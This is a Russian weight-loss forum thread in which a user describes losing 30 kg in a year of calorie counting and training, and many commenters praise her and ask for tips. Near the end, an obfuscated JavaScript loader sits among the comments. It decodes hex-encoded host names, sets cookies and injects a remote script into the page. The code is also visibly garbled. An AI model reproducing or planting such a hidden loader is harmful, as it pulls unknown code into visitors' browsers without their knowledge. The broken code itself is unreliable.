Галин@
05.04.2015 14:26

Надеть чужие штаны может каждый. А вот сбросить 30 кг.....

Сегодня ровно год моего знакомства с МЗР. Подведём итоги. Пришла сюда с весом 94.6 кг. На сегодняшний день весы показывают 69.5. Итого за год отвес 25 кг. Потеря в объемах ГТБ по 20 см. Вместе со сброшенными ещё до МЗР 5 кг общий отвес на сей момент составляет 30 килограммов. Это 30% от стартового веса. 58-й размер одежды сменила на 48-й. Брюки на фото прав.да мои, носила их прошлой зимой)))).Это был очень плодотворный год, и не только потому, что удалось за это время привести себя в порядок. Самое важное , что я получила на этом ресурсе, это знание. За что огромное спасибо всем форумчанам. Надеюсь, что промывание мозга позволит мне удержать результат надолго. Неделю назад у меня сломались кухонные весы, я думаю, что это знак того, что пора завязывать с ведением дневника. За неделю пока ничего не набрала, буду стремиться к этому и дальше.                                                                     P.S. Чтобы мной особо не восхищались)), сообщаю, что тараканы победили))). Через 2 недели после публикации поста вес начал ползти вверх и я купила-таки новые весы и опять всё взвешиваю. Наркоманка)))
P.P.S. С момента публикации поста прошло уже больше года. Всем спасибо за комментарии. Мне очень приятно внимание к моей персоне. Но немного устала отвечать на вопросы о том, как мои дела на данный момент. Поэтому ответ пишу здесь для всех. На данный момент я вешу 68 кг. Мой рост 170 см ( тоже ответ на популярный вопрос))). За питанием слежу, не разжирела и не собираюсь))) Чего и всем желаю. 28.07.2016.
  • Нравится 288
  • Комментарии 245
rangy 05.04.2015 14:35 Нравится 1
Галин@ написал:
буду стремиться к этому и дальше.
удачного самостоятельного плаванья!!
Мила 05.04.2015 14:42
Молодец!!!!!!!
Анастасия Бова 05.04.2015 14:44
Какая молодец!
Вот это результат! Так держать! 
Vento 05.04.2015 14:52
Мои поздравления!
А килограммы не наберутся. За год-то точно выработалась привычка правильно питаться!)
Галин@ 05.04.2015 14:57 Нравится 6
Vento написал:
За год-то точно выработалась привычка правильно питаться!)
Привычка-то выработалась. Только вот желание сожрать побольше никуда не ушло. Такова уж моя природа. Обжору не переделаешь)))
Vento 05.04.2015 15:00
Галин@,  ну, если больше не скидывать, нормально. Раз в недельку можно и налопаться) Вы же знаете, как это компенсировать.
Я, когда "слезу", планирую раз в неделю-две все же взвешиваться. А уж пару кило и без дневника согнать не проблема.
Виктория Клокова 05.04.2015 15:01 Нравится 1
Не могу себе даже представить вас в весе 95 кг! Суперский результат!
Anna 05.04.2015 15:01
Присоединяюсь к поздравлениям.Кажется ,ещё недавно восхищались вашими - 25,а вот уже и -30,Вы такая молодец,упорно идёте к намеченной цели.Удачи Вам в свободном плавание!
Галин@ 05.04.2015 15:03
Виктория Клокова написал:
Не могу себе даже представить вас в весе 95 кг!
Посмотрите в альбоме. Там даже побольше , около 97-98кг.
Limon99 05.04.2015 15:13
Галин@ написал:
Только вот желание сожрать побольше никуда не ушло.
Так устроены все люди и это нормально. Просто при этом подразумевается, что и тратить полученную энергию человек должен с аппетитом.
Раньше работников когда нанимали, сначала кормили и смотрели кто как ест. Отбирали тех, у кого был хороший аппетит, а кто ел нехотя считался неважным работником.
Умничка! Поздравляю вас! Я начала тоже с 94 кг, но мой финиш ой как далеко!  Удачи вам в дальнейших делах!
Галин@ написал:
пора завязывать с ведением дневника
Удачного Вам свободного плавания! Заходите в гости. Будем рады.
Наталья М 05.04.2015 15:14
Какая вы молодец, просто слов нет!
Тамара 05.04.2015 15:16
вот это сила воли 
Natali 05.04.2015 15:17
Если что ждем назад!
Ольга Иванова 05.04.2015 15:22 Нравится 4
Невертити 05.04.2015 15:23
классная, слов нет
Надежда Горитовская 05.04.2015 15:29 Нравится 2
ВЫ ПРОСТО МОЛОДЕЦ.! У    ВАС ОЧЕНЬ СИЛЬНАЯ СИЛА ВОЛИ. УДАЧИ  ВАМ ВО ВСЕМ.
Любовь 05.04.2015 15:52
Супер результат!!! Примите и мои восхищения! Удачи в свободном плавании!
Наталья Иванова 05.04.2015 15:58 Нравится 1
Отличный результат! Стройняшка! Не представить вас в весе 95кг.! так держать!
Пятачок 05.04.2015 16:25
Тезка, ты супер!!! 
молодец!
Joy Toy 05.04.2015 18:48
На фоне того, что есть в альбоме в стиле "..до" это невероятно!
Галин@ 05.04.2015 18:52 Нравится 1
Joy Toy,  Вы , как бывший владелец лишних 30 кг, понимаете мою радость , как никто другой. Ваши фото до и после тоже невероятны)))). Да чего уж греха таить, сама кайфую от  своего отражения в зеркале))))
Буркина Фасо 05.04.2015 18:53
зашла посмотреть на Вас "до"... ох какая разница!!!! молодчинка!!! удачи и дальше! и выглядите вы замечательно
Joy Toy 05.04.2015 18:56
Галин@,  Ну вы же отдаете себе отчет в том, что в течении трех - четырех месяцев у вас непременно вернется 3*5 кг? Может зря дневничек забросить решили? Пусть все стабилизируется. Организм адаптируется, водичку погоняет. Пару кило в гликоген сейчас запасать будет. Вы конечно опыт имеете, но под контролем - процесс более ровный.    ...неа?
Галин@ 05.04.2015 18:59 Нравится 1
Joy Toy,  Да вы меня неверно поняли. Вообще-то . я планирую продолжать худеть. Вот до 65 дойду, тогда можно будет и водичку погонять. И, как бы, спортзал бросать я не собиралась. Хотя , практика показывает, что и на 4-х тренировках в неделю можно разожраться, как было 1.5 года назад.
Вы просто умница!! Так держать!!!!
Tanya Nemo 05.04.2015 19:05
Поздравляю с годовщиной и с достигнутым результатом! И новых достижений
Алена Дива 20.04.2015 03:14
Какая вы молодец!! Плодотворный год!!
Всего вам хорошего!
ольга усатюк 20.04.2015 07:08
чудесный результат!!!великолепно!
Великолепно!!! Я тоже хочу добиться таких результатов, надеюсь у меня получиться
Капелька 20.04.2015 07:30
молодец! всем бы так, кто хочет сбросить!
Алла 123 20.04.2015 07:46
Здорово!!!
Velga Velga 20.04.2015 07:55 Нравится 1
Замечательный результат.
На фото 70кг не видно, кажется,то намного меньше (видимо у вас высокий рост).
Елена Иванова 20.04.2015 08:00
Молодец!
здорово!!!
Дарья Белка 20.04.2015 08:09
Ай да умница! Ай, да молодец! Какая фигурка! Так держать!
ВспышКа 20.04.2015 08:12
Вдохновляет!
Mediterranean_Girl 20.04.2015 08:15
супер)
Alenka 20.04.2015 08:30
молодец, сразу виден целеустремленный человек!
Роман 20.04.2015 08:36
гц!
класс!!!!!
Марина 20.04.2015 08:51
Пример для всех !!! 
ольга М. 20.04.2015 09:28
поздравляю!!!!!
Татьяна Аганесова 24.04.2015 20:55 Нравится 1
Галина, я по поводу рейтинга, вопрос? Реально, достаточно одного комментария в день, чтобы не выпадать из социального комплекта? Я попросила поддержки и обнаружила, что это подвергается остракизму. А как иначе новичкам разобраться во всех особенностях пользования сайтом? Оказывается, болезненная тема для ветеранов.
LolaLola 24.04.2015 21:54
Это просто великолепно! Вы - молодец!
Я только начинаю, у меня 95,7. Вы меня вдохновили)))
Mort Skogen 24.04.2015 21:58 Нравится 1
Какая же Вы молодец! ))) Такие истории по-настоящему вдохновляют!
Ника Смартенко 24.04.2015 22:00
Вау, какая вы молодец!!!!!!!!!!
Елена 24.04.2015 22:21
еех, завидую белой завистью, надеюсь через год тоже выложить подобное фото! молодец.!!!!
результат потрясающий! Умница!
Алёна Гуль 24.04.2015 22:36
я тоже так хотю
Максим Еремин 24.04.2015 22:37
в эти штаны можно второй как вы влезть)))Вот это настрой у вас
Lora Varivoda 24.04.2015 22:40
РАДУЮСЬ ЗА ВАС!    Это окрыляет!  МОЛОДЕЦ!!!
Kate 24.04.2015 22:42
Прекрасно выглядите!
Евгения 24.04.2015 22:51
Галина, вы молодчина, просто супер, нет слов для восхищения!!! Я здесь только второй день и моя цель минус 25 кг, но честно говоря сомневаюсь очень, но глядя на вас поняла, что это  не сказка, все в наших руках. Спасибо за вдохновение.
Галин@ 24.04.2015 23:07
Евгения,  Всё возможно, главное настроиться на длительный срок. Быстро эту задачу не одолеть. За год вполне реально. Ставьте себе промежуточные цели. Я сначала ставила себе цель - минус 3 кг каждый месяц ( иногда получалось по 4))). После 80 кг каждые 5 кг брала передышку на месяц , ставила в настройках удержание веса, вот так и доползла до своих вожделенных минус 100 от роста))).
Тамара 24.04.2015 23:09
Наташа Шубина 24.04.2015 23:12
У меня тоже цель - 30 кг. И я очень надеюсь, что сумею сделать это за год. А вы просто умница. Поздравляю!
Ann T 24.04.2015 23:17
Отличная мотивация) Спасибо за пост) Вы молодец)
Юлия Смолкина 25.04.2015 00:28
И все-таки восхищусь!!! Слов подобрать новых не смогу, но... есть все основания для восхищения!!! 
Ярина 25.04.2015 00:38
Потрясающе! Восхищаюсь такими людьми и такой силой воли. Удачи!
Просто прелесть!!! А штантшки можно пустить на что -нибудь дельное( в крайнем случае на тряпки), не будут напоминать какая ты была в прошлом. 
Галин@ 25.04.2015 00:49
Людмила Каледина,  Да вы что! Никуда я их пускать не буду. Пусть лежат. Это мой оберег от повторения пройденного.
Галин@,  Ну тогда далеко убирать не стоит. Хотя бы раз в полгода надо будет одевать , дабы избежать лишних кило.
Хороший пост. Вы молодец. Никогда не возвращайтесь  к прежнему.
Екатерина 09.05.2015 14:02
Спасибо за Вашу историю! Отличный результат.
Отличный результат!
Алеся Петрова 10.05.2015 19:29
супер!!!!!!!!!!!!!!!!!!!!!!!вы умничка!!!!
Николай 10.05.2015 22:04
Это прекрасно! Поздравляю!
Ираида 15.05.2015 13:53 Нравится 1
Ваши результаты, определенно, впечатляют!!!
Анна Вяткина 15.05.2015 14:30
Вы молодец!
Микаел С 15.05.2015 14:34
Красота))
Галина 15.05.2015 14:36
Умница!
Галина, Вы просто молодец.! А сколько у Вас терпенья, большая сила воли наверное у Вас. Желаю не сдаваться, упорно идите к своей мечте. Хороших Вам результатов.!!!
Limon99 15.05.2015 15:33 Нравится 2
Галин@ написал:
купила-таки новые весы и опять всё взвешиваю. Наркоманка)
Нет. Просто привычка переросла в хобби.
Илона Добриян 15.05.2015 15:33
МолодецНе сдаваться!!!!
Галин@ 15.05.2015 16:12 Нравится 1
Limon99,  Это не хобби, это помешательство))). Сначала думала, что 70 кг хватит, когда достигла, немного порадовалась, а теперь хочу 65. Как бы крыша не съехала))))
Limon99 15.05.2015 17:59 Нравится 1
Галин@,  а может паузу сделать, попробовать свободный полёт? Проверить стабильность состояния, так сказать.
Галин@ написал:
думала, что 70 кг хватит...
а теперь хочу 65
Лучшее -- враг хорошего. (Сказка о Золотой Рыбке)
Галин@ 15.05.2015 18:10 Нравится 2
Limon99,  Свободный полёт не прокатывает, начинаю жрать)))). Видимо, всё-таки есть в моём организме этот пресловутый жирный ген). Причём жрать начинаю всё подряд. Не сладости, их в моём доме вообще не водится, просто хомячу и не могу остановиться. В моей жизни не всё так просто, я борюсь с лишними кг всю свою сознательную жизнь, с переменным успехом. То они меня, то я их). Про золотую рыбку вы верно подметили. Я уже сама думала, что пора это прекращать, что я сейчас имею такой вес, который последний раз был у меня ещё в школе, и если я полезу дальше, организм может устроить мне мощную отдачу как физиологическую, так и психологическую, но , когда получается, нет никаких сил остановиться.  Не знаю , что будет дальше, но мне хочется продолжать худеть , надеюсь, что остановлюсь в разумных пределах.
Limon99 15.05.2015 18:20
Галин@ написал:
есть в моём организме этот пресловутый жирный ген
У столь изящной дамы? Не верю (с)
Галин@ 15.05.2015 18:21 Нравится 2
Limon99 написал:
Проверить стабильность состояния, так сказать
Состояние крайне нестабильное. Да и как оно может быть стабильным после сброса 32-х кг. Один раз похудела и на всю жизнь. Не так-то это просто , как кажется. Для стабилизации нужно удержать вес 2 года. только тогда организм успокоится и примет новые правила, а до этого момента нужно себя контролировать. Без пары месяцев удержания веса по программе я точно с подсчёта не слезу, а то получается , что как только перестаю вести дневник - сразу слетаю с катушек, по принципу "никто не видит, значит ничего и не было". Только вот загвоздка, организм-то всё видит. Я тут пробовала пару недель на бездефицитном рационе посидеть. Разница в 400 ккал, но вес тут же полез вверх. Похоже, что свой обмен я всё же снизила и он уже не соответствует базовому. Следующий этап - определение реальной цифры, на это уйдёт ещё месяца 2. Так что я с сайтом надолго повязана)))
Галин@ 15.05.2015 18:22
Limon99 написал:
У столь изящной дамы?
Зайдите в мой альбом и посмотрите фото "изящной дамы" в стиле "до".
Елена Елена 15.05.2015 18:32
Фото впечатляют!!!! умница!!
Татьяна 15.05.2015 18:32
знаете, меня иногда угнетает мысль, что чтобы поддерживать себя в форме придется всю жизнь взвешивать еду и ограничивать себя((((
Галин@ 15.05.2015 18:35 Нравится 1
Татьяна,  Тут важно сделать выбор, чего больше хочется, есть всё , что не приколочено, или иметь красивую фигуру.
Татьяна 15.05.2015 18:36
Галин@,  иногда выбор не в пользу фигуры(((
Limon99 15.05.2015 18:39
Галин@,  посмотрел. ТОЙ тётеньки больше нет, она уехала далеко и насовсем. Остались только изящные -- 70 и 75
Натка 15.05.2015 18:47 Нравится 1
Отличный результат!! Фотки "до и после" посмотрела, сейчас просто замечательно выглядите!
rangy 15.05.2015 18:49 Нравится 3
Татьяна написал:
иногда выбор не в пользу фигуры(((
так фигура у вас одна.а жрачки много.все не пережрать
Denis 15.05.2015 18:51
А сколько Вам лет?, если конечно это не секрет?
Алана Новикова 15.05.2015 19:49
Хороша!
Кстати, у меня в точности такая же футболка!  =)
Галин@ 15.05.2015 20:17
Denis,  Не секрет. 34.
Умница и красавица!!!
Anastasia 15.05.2015 20:25
Умничка! Продолжайте в том же духе!
Наталья Абикс 15.05.2015 20:56
Ого, вот так штанишки! Ха-ха!  Молодец.
**Я** 15.05.2015 21:19 Нравится 1
Посмотрела Ваши фото До и После. Вам с такими потрясающими результатами можно ягоды Годжи рекламировать! :ahШутка)
Впечатляющий результат!!!
Галин@ 15.05.2015 23:47 Нравится 3
Александра Попова написал:
можно ягоды Годжи рекламировать!
Ну нет уж. Рекламирую и буду рекламировать только МЗР. Я не предатель)))
Как здорово))) какая Вы молодец! Разница ошеломляющая!- Сбросили не только лишние килограммы, но и лишние годы! Оставайтесь всегда молодой и красивой)))
Оксана 16.06.2015 16:16
Успехов вам в поддержании достигнутых результатов. По себе знаю, что это нелегко.
Светлана 16.06.2015 16:37 Нравится 1
Ирина 19.06.2015 14:26 Нравится 1
Обалденный результат! Оч круто! Я только месяц как начала, отвес пока незначительный, но с таким мотиватором я готова горы свернуть! Вы просто молодец! Оч здорово!
Галина, Вы умничка,так держать.
svetlana 19.06.2015 15:00
Молодец, так держать.
Анна Фролик 19.06.2015 15:12
Отлично выглядите! Какой у Вас рост? Я в таком весе смотрюсь раза в 2 шире...
Галин@ 19.06.2015 15:13
Анна Фролик 19.06.2015 15:17
Галин@, У меня тоже. У Вас, наверное, кость тяжелая. Или у меня сверхлегкая))). Выглядите правда очень стройной, спасибо за мотивацию!
Ирина 24.06.2015 13:56
Вы умничка. Глядя на вас поднимается боевой дух. Спасибо
любовь 05.07.2015 01:27
посмотрела ваши фотки и восхищена ..из тетеньки вы превратились в девочку..супер..очень рада  за вас.надеюсь и со мной когда -нибудь случится такое же превращение)))
Яна Мэй 05.07.2015 01:43
я тоже теперь буду контролировать себя постоянно, уже есть опыт похудения на 34 кило, потом срывы, потом беременность, обжираловка после родов, а сейчас снова -10 кг, а хочется еще - 20-25 хотя бы)) Вам желаю удачи в самоконтроле и самосовершенствовании))) 
Anapola AS 07.07.2015 22:16
Чудо-результат! Очень вдохновляет! Вам тоже хочу пожелать стойкости. Быть красивой и здоровой-дорогого стоит! Тянусь за Вами!
Anapola AS, это точно!
Юлия 18.07.2015 21:01 Нравится 1
Я не в чём себя не ограничиваю , не в мучном не в сладком  когда хочется  , просто стараюсь соблюдать норму калорий . Сразу скажу я не фанат сладкого и по этому хочется мне не так часто . На МЗР три недели - 10 кг .
med-ved 18.07.2015 21:09
Юлия, у всех по-разному. Я видел эксперименты - люди, не предрасположенные к ожирению, если им незаметно дать пищу, содержащую очень много жиров и калорий, после этого долго чувствуют сытость, а другие люди уже через пару часов готовы съесть привычный обед.

Я, если не слежу за едой, запросто начну переедать. Но если хотя бы минимально слежу - не ем сладостей (кроме разовых  5-10г) или не ставлю перед собой килограмм орехов/семечек - то даже без записи все получается, даже худел в таком режиме медленно.    
Галин@ 19.07.2015 00:01 Нравится 3
Юлия написал:
На МЗР три недели - 10 кг .

Сколько, сколько? Вы ничего не перепутали? Может, 3 месяца? Или 1 килограмм. Поверю только если ваш стартовый вес около 150 кг, или если вы взвесились в начале вечером, после поедания селёдки, запитой шестью стаканами чая, в одежде и с сумкой))))).
Яна . 19.07.2015 00:06
Отлично!!! Молодец!
Юлия 19.07.2015 03:38
Галин@,  Стартовый вес 101 кг сейчас вешу 91 кг на проекте с 28 июня .
Галин@ 19.07.2015 08:44 Нравится 1
Юлия, Ничего себе. Может, у вас отёки были? Как-то много. Из всех знакомых мне похудельцев у вас рекорд. Очень уж резвый старт, даже не верится в такую цифру.
Даниїл Стрюков 28.08.2015 17:16
Класс!)
Alena Arkhipova 31.08.2015 01:21
Умничка!
Яна . 31.08.2015 01:24
Молодец!!! отличный резльтат!!!
Vika 03.09.2015 16:50
Поздравляю, с победой)
Галин@ 03.09.2015 16:54 Нравится 1
Vika, Это ещё не победа, скоро покажу минус 35))))
Vika 03.09.2015 16:57
Я сейчас 63, очень хочу вернуть свои 50 которые были до беременности, вот даже не знаю как с этим справится, начинала уже раз 20, правда скинула уже 9, но это за целый год, за год могла бы уже сбросить все.(((( Не могу набраться сил, хватает максимум на месяца 3-3,5
А скільки програма вам насчитала зїдать кілокалорій в день? Ато мені 2000 і я думаю шо це багато.
Але похудали ви добре. Молодці!!!!!!!!!!!!Так тримать.
Галин@ 12.09.2015 16:03 Нравится 1
сніжана совайло, Мой рост 170, вес сейчас уже 66 , программа велит есть 1516 ккал, если без тренировки, с тренировкой 1700-1800. У вас должны быть свои цифры. Вы говорили. что кормите ребенка. дело в том. что программа не разрешает кормящим худеть, поэтому и насчитывает больше калорийность. Зайдите в "личные данные". Внесите рост и вес.  Уберите в настройках кормление, поставьте "сбросить лишний  вес", и узнаете, сколько вам надо есть для похудения. так же не забудьте указать группу интенсивности труда, и после этого нажать кнопочку "сохранить". И программа рассчитает вам новый коридор.
Арадхана 12.09.2015 16:09
Вот это умница!!!! Надеюсь что и у меня получится...
Сергей 12.09.2015 16:24
Обещаете, что будет???
А не то я вашу заберу вместе со штанами тем более чужими
ошеломляющий результат! браво!!!
Галин@ 12.09.2015 16:28
Сергей написал:
А не то я вашу заберу вместе

Да забирайте, я себе за один вечер новую наболтаю))))
Сергей 12.09.2015 16:32
А если серьезно меня впечатлил ваш результат, хочу хочу хочу так же,
Давайте вы мне версию социальную, а я вам кг. 30 живого веса, наикачественного жира
Галин@ 12.09.2015 16:36
Сергей, Да Щасссссс))) Давайте лучше я за вас поболтаю в ленте, а вы за меня ещё 5 кг сборсите))))
Галина, ну вы умница-красавица!!! Очень хорошо выглядите! ПОЗДРАВЛЯЮ!!! ДЕРЖИТЕ ВЕС! ВАМ ОЧЕНЬ ИДЁТ!
Галин@ 12.09.2015 16:41 Нравится 1
Ирина Барковская, Спасибо. Я держу. Пост 4-х месячной давности, с тех пор я даже немного в миусе))))
Ирина Барковская 12.09.2015 16:49 Нравится 1
Здорово, я вдохновилась вашим фото! Сама начала с 96, сейчас 88. Хочу также 60. 
Галина, а как с кожей, особенно на животе, втянулась? Меня эта часть тела больше беспокоит, не хочу чтоб мешок из кожи остался.
Галин@ 12.09.2015 16:57 Нравится 3
Ирина Барковская, Втянулась. Тут главное. не гнаться за скоростью. Я же не быстро худела. Скоро 2 года будет, как я всё это затеяла. Я несколько раз брала перерывы, которые были продиктованы не ленью. а разумом. Как только видела, что кожа начинает повисать, переставала худеть, ждала, пока она догонит.
А у меня вот, быстро пошло... за 1,5 месяца 8 кг.... наверно многовато, вот я думаю недельку посидеть на этом весе. Вы,Галина занимались? Силовые, кардио?
Галин@ 12.09.2015 17:12 Нравится 3
Ирина Барковская написал:
Вы,Галина занимались?

Почему в прошедшем времени? Я занимаюсь 8 лет, и буду заниматься дальше. Когда вес устраивает - только силовые. Если хочу похудеть - силовые плюс кардио. Не поверите, но в тот период. когда я разожралась до 100 кг - я тоже занималась. К сожалению. я слишком поздно поняла. что питание первично, столько времени и сил потеряно зря.
Ирина Барковская написал:
за 1,5 месяца 8 кг.

Посмотрите. как будет дальше, старт при большом весе всегда интенсивный. Возможно, скорость сама снизится. но лучше этого не дожидаться. я каждые 3-4 месяца беру перерыв , на 1-2 месяца ухожу на удержание веса, затем по новой на дефицит.
Спасибо, Галина за советы! 
Максим 12.09.2015 19:04
Поздравляю, очень хороший результат)
Лана Казанова 08.11.2015 10:13
Ирина Вы большая молодец!!! Ваш пример очень вдохновляет. Спасибо Вам большое.
Анна Крамар 10.01.2016 20:01
Вы большая молодец!!!
ПОНТиАК47 30.01.2016 01:11
СУПЕР!!!!! 
Ольга Стежкина 03.02.2016 23:28
Результаты поражают. СУПЕР!!!
Вы очень здорово похудели, пожалуй, я возьму вас за пример!
Галин@ 15.02.2016 18:11
Катерина Терехова, Спасибо, но это не самое моё "стройное фото". В альбоме есть, где я ещё на 5 кг меньше)
Nikol_Yva 15.02.2016 18:44
Зашла в ваш блог,  посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец!   
Маруся 17.02.2016 18:47
Зашла в ваш блог, посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец! 

Полностью согласна с девочками
Маруся 17.02.2016 18:47
Полностью согласна с девочками
Вы просто умничка!!!!!!!!!!
Маруся 17.02.2016 18:48
Самое тяжелое --начать и поддержать саму себя...
круть))девичья фигурка прямо стала)респект!!
Вы мега супер молодец!  часто читаю Ваши посты и коменты, заочно уважаю Вас)) смотрю пост написан почти год назад, а скажите пожалуйста как сейчас обстоят дела с весом? 
Вы огромная молодец!!!!! А вес - это дело наживное  то вниз то вверх! главное не возвращаться в начало!
Lidiya 17.02.2016 22:56
это труд, суппер
Галин@ 17.02.2016 23:06
Елена Климентионок написал:
а скажите пожалуйста как сейчас обстоят дела с весом?

Сейчас 67. Держусь последнее время около 65 плюс минус пару кг, сейчас плюс. вот, снова худею.
Леюшка 17.02.2016 23:10
Какая УМНИЧКА!  Такие примеры вселяют надежду. Удачи!
Вау! я тоже так хочу...

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Анна 21.02.2016 13:22
Воу-воу, красотка!) красота идет покорять мир!))) а тараканы.... будем давить)
Катя ) 25.02.2016 13:21
Осталось: держать!
Виктор Князь 29.02.2016 00:47
Ольга Титова 25.03.2016 09:43
очень круто!) фото "до" и "после" это прям мотивашка)
Алька 25.03.2016 10:04
Вы большая молодец! ОТличный результат! 
Елена Гелова 25.03.2016 10:13
Здорово, что этот ваш пост откопали Результат шикарный! ) Я вот все сомневаюсь, что без подсчета ккал никак не удержать вес, но как-то примеры говорят об обратном. Видимо, надо настраиваться, что подсчет КБЖУ - это на долгий срок...
Pink Rose 25.03.2016 10:18
здорово. и себе на зметку
Татьяна 25.03.2016 10:23
А помолодели-то как! Прямо девочка (стала)  и тетя (была) (две противоположности)! Молодец! Правильно, что весы купили, без них сразу  идет расслабление и прибавка в весе! Проверено на себе
Ирина 25.03.2016 10:25
Радужная 25.03.2016 10:28
Молодец,от души рада за вас!
Я, в свое время (10 лет назад) с весом 75кг влазила в  48 размер,веселушка!
Радужная 25.03.2016 10:32
Татьяна Аганесова, чем помочь?спрашивайте.
Радужная 25.03.2016 10:37
Как сейчас то дела?Увидела что пост от апреля прошлого года.
Наталья 25.03.2016 13:13
Молодец! Очень рада за Вас!   
Галин@ 25.03.2016 14:10 Нравится 1
Eлена Радужная написал:
Как сейчас то дела?

Нормально, держусь. За 70 кг в течение года не выбивалась. Калории считаю до сих пор, видимо, таков мой удел, что же со мной, обжорой, поделаешь))). Попытки дойти до следующей отметки ( 60 кг) пока успехом не увенчались, но нет ничего невозможного)
Юлия 25.03.2016 19:44
Замечательный результат!
Радужная 26.03.2016 15:12
Галин@,здорово,вы все время с МЗР?отпуск?поездки?
Невозможное,возможно!
Ольга Иванова 26.03.2016 15:21
Отличный результат! 
Наталья Natalya 26.03.2016 15:33
Результат отличный! С момента публикации этого поста прошел почти год. А как вы сейчас выглядите? Что изменилось за год? Питание? Вес? Образ жизни?
Галин@ 27.03.2016 00:08 Нравится 2
Наталья, У меня есть и более поздние записи. Можете почитать в моем блоге. А мой вес в течение 2-х лет и до сегодняшнего дня можно увидеть, открыв любой из моих дневников питания.
Отличница, вверх не ползем, идем вниз или топчемся на месте
alina 1900 27.04.2016 10:39
Супер! Вы молодец! Моя цель тоже 25кг, но я только в начале пути!
Romashka61 27.04.2016 10:42
Вы умница! Теперь держать, держать и держать!
галюсик 27.04.2016 10:52
Romashka61, Это результат годовой давности. Спросите лучше какие сейчас у нее результаты?
Romashka61 27.04.2016 10:58 Нравится 1
галюсик,  так у нее сейчас еще лучше: 67.7.
галюсик 27.04.2016 11:00
Romashka61, За год маловато будет.
Лена 27.04.2016 11:01
Вы такая молодец , а я 8 кг. сбрасываю ну так медленно, -2 кг. с февраля месяца  как , а так хотелось привести себя в порядок к лету.
Romashka61 27.04.2016 11:15 Нравится 1
галюсик,  Зато  и кожа, и мышцы - все в тонус пришли.
Наталья 27.04.2016 11:23
Вы молодец! Очень хороший результат! Я тоже стремлюсь избавится от 25 кг.
Галин@ 27.04.2016 23:52 Нравится 3
галюсик написал:
За год маловато будет.

Так мне дальше-то особо некуда худеть. Я и не стремилась много сбросить. Я уже год практически на удержании. Мне за второй год тоже надо было тридцатник скинуть? Так у меня нет второго лишнего тридцатника))) ( к счастью)). Мои нынешние 66 кг при росте 170 - это нормальный вес. 
 
Romashka61 написал:
сейчас еще лучше: 67.7.

Не-а.  65.9 сейчас))).
Людмилка 28.04.2016 02:50
Галин@, какая  молодец. Какая сила воли ! Вы сумели вернуть себя ! Теперь  обязательно следите хотя бы год а может и два за весом . Весы пригодятся. Зато никогда не вернетесь к лишним. Вы прекрасны !
мария мария 02.05.2016 08:21
результат впечатляющий, перемены разительные, оч хорошая мотивация для других, поздравляю
Елена Попова 02.05.2016 08:28
а я вчера уже рабочие штаны ушила, падали)
Александр 02.05.2016 08:33
отличные результаты!!
Нина 02.05.2016 08:59
 Красота!!!
Людмила Мялова 02.05.2016 09:04
Рада за Вас , результат ошеломляющий. Держитесь в этом весе.
Юлия Дорожкина 02.05.2016 09:34
Круто! Молодец!
Алена Аленка 02.05.2016 09:40
Результат отличный! Так держать!
Елена Елена 02.05.2016 09:49
Вы умничка,хороший пример для нас!
молодец
Маша Mедведь 02.05.2016 11:25 Нравится 1
молодцы !!! так держать
Елена 02.05.2016 11:31 Нравится 1
Потрясающе, отличный результат!
Ольга Саликова 02.05.2016 11:43
Прекрасный результат!Поздравляю!
Елена 02.05.2016 12:01
Вау! просто блеск! Молодец!!!!!!!!!!! 
Юлия Базилева 17.05.2016 16:02
Вы просто МОЛОДЕЦ!!!
завидую... 
надеюсь  у меня хватит вашей выдержки и стремления
вы просто СУПЕР!!!
Серафима 17.05.2016 16:08
Посту больше года!!! 
Галин@ 17.05.2016 16:14
серафима сургутова, Дело в том, что пост попал в популярные истории успеха и теперь часто мелькает при случайном заглядывании в этот раздел. Уже не знаю. что и сделать, чтобы его больше не выковыривали из небытия. А стереть жалко)))
Серафима 17.05.2016 16:17
Галин@ 17.05.2016 16:20
серафима сургутова, Ну давайте хотя бы вы не будете задавать этот вопрос. Вы же знаете, как найти на него ответ. Вы же не новичок.
Наталья Веденеева 17.05.2016 16:20 Нравится 1
А мне нравится, пусть периодически появляется, новеньких то много, пусть учатся, и я учусь.
Галин@ написал:
А стереть жалко)))

Еще чего! Пусть выковыривают, мзр должен знать своих героев!
Серафима 17.05.2016 16:25
Галин@ 17.05.2016 16:33
